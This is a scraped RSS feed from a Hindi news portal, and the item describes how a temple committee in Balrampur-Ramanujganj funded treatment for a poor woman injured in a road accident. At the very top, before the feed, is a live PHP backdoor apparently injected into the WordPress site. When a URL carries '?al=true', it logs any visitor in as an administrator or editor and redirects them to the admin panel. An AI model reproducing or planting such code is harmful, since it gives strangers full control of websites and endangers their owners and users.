// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); woman life saved – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 26 Dec 2024 15:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-बलरामपुर रामानुजगंज में महिला की बचाई जान, दुर्घटना में सर फूटने पर मदद कर लोगों ने करवाया इलाज https://pratyushaashakinayikiran.com/?p=114065 Thu, 26 Dec 2024 15:45:00 +0000 https://pratyushaashakinayikiran.com/?p=114065 बलरामपुर रामानुजगंज।

बलरामपुर रामानुजगंज गरीब ने गरीब की मदद कर मानवता की मिसाल पेश की। नगर के वार्ड क्रमांक 13 में बने ओंकारेश्वर महादेव मंदिर से जुड़ी महिला को झारखंड में सड़क दुर्घटना में सर पर गंभीर चोट लग गयी थी. इसके बाद उसका प्राथमिक इलाज गढ़वा, फिर डाल्टनगंज, अंबिकापुर उसके बाद रायपुर में किया गया।

घरों में कार्य करने वाली अत्यंत गरीब महिला की ऐसी स्थिति नहीं थी कि वह बेहतर इलाज करने के लिए भाड़ा लगाकर भी जा सके जब इसकी जानकारी मंदिर समिति से जुड़े अन्य लोगों को मिली जिनकी आर्थिक स्थिति बहुत अच्छी नहीं थी उसके बाद भी सभी ने थोड़ा-थोड़ा मदद किया एवं महिला का बेहतर इलाज रायपुर में होना संभव हो सका। आज महिला पूर्णता स्वस्थ है वह मंदिर से जुड़े सहयोग करने वाले सभी लोगों का धन्यवाद कर रही है जिसके चलते उसकी जान बची। प्राप्त जानकारी के अनुसार नगर के वार्ड क्रमांक 13 में रहने वाली चंदा देवी 7 नवम्बर को यूपी के  विंढमगंज अपने बहन के यहां टेंपो से जा रही थी। इसी दौरान झारखंड के चिनिया मोड में टेंपो पलट जाने से उसके सिर पर गंभीर चोट लगी तत्काल स्वजनों ने उसे गढ़वा अस्पताल इलाज के लिए ले गए जहां स्थिति गंभीर देखते हुए रात में ही वहां से रेफर कर दिया गया। जिसके बाद डाल्टनगंज में चार दिनों तक इलाज चला परंतु स्थिति में सुधार नहीं होने के बाद अंबिकापुर ले गए वहां भी दो दिन इलाज करने के बाद रेफर कर दिया गया था। अंबिकापुर के बाद रायपुर  में इलाज चला। घरों में काम कर आजीविका अपनी चलाने वाली  चंदा देवी की ऐसी स्थिति नहीं थी कि वह बाहर जाकर बेहतर इलाज करवा सके वह ओंकारेश्वर मंदिर से भी जुड़ी हुई है जब मंदिर के से जुड़े लोगों को जानकारी मिली तो मंदिर समिति से जुड़े करीब 20 ऐसे लोग जिनकी आर्थिक स्थिति बहुत अच्छी नहीं है उनके द्वारा थोड़ा-थोड़ा आर्थिक मदद दिया गया जिससे उसका इलाज संभव हो सका। चंदा देवी रायपुर से इलाज करके पूर्णता स्वस्थ है।

मंदिर समिति के लोगों ने की मदद
चंदा देवी के पति पल्लेदारी का काम करते हैं। चंदा देवी के सिर में गंभीर चोट लगने के बाद इलाज के लिए घर के लोग भाग दौड़ कर रहे थे उनके पास इतना समय नहीं था कि कहीं मदद भी मांगने जा सके ऐसी स्थिति में जब अंबिकापुर जाने के लिए एक किराना दुकान से कुछ पैसे उधार लिए तो इसकी जानकारी मंदिर समिति के अन्य लोगों को मिली तो उनके द्वारा बिना मदद मांगे आर्थिक मदद दी गई।
ओंकारेश्वर मंदिर समिति के अध्यक्ष संजय कश्यप ने बताया कि मंदिर समिति में हम लोग करीब 25 लोग हैं 25 लोगों में किसी की भी आर्थिक स्थिति  बहुत मजबूत नहीं है। परंतु इसके बाद भी हम लोग इस प्रकार के मदद के लिए आगे रहते है। हम लोगों से मदद नहीं मांगा गया था। जानकारी मिली तो मदद किए थे इसके पहले भी एक युवक की समिति की ओर से मदद की गई थी।

]]>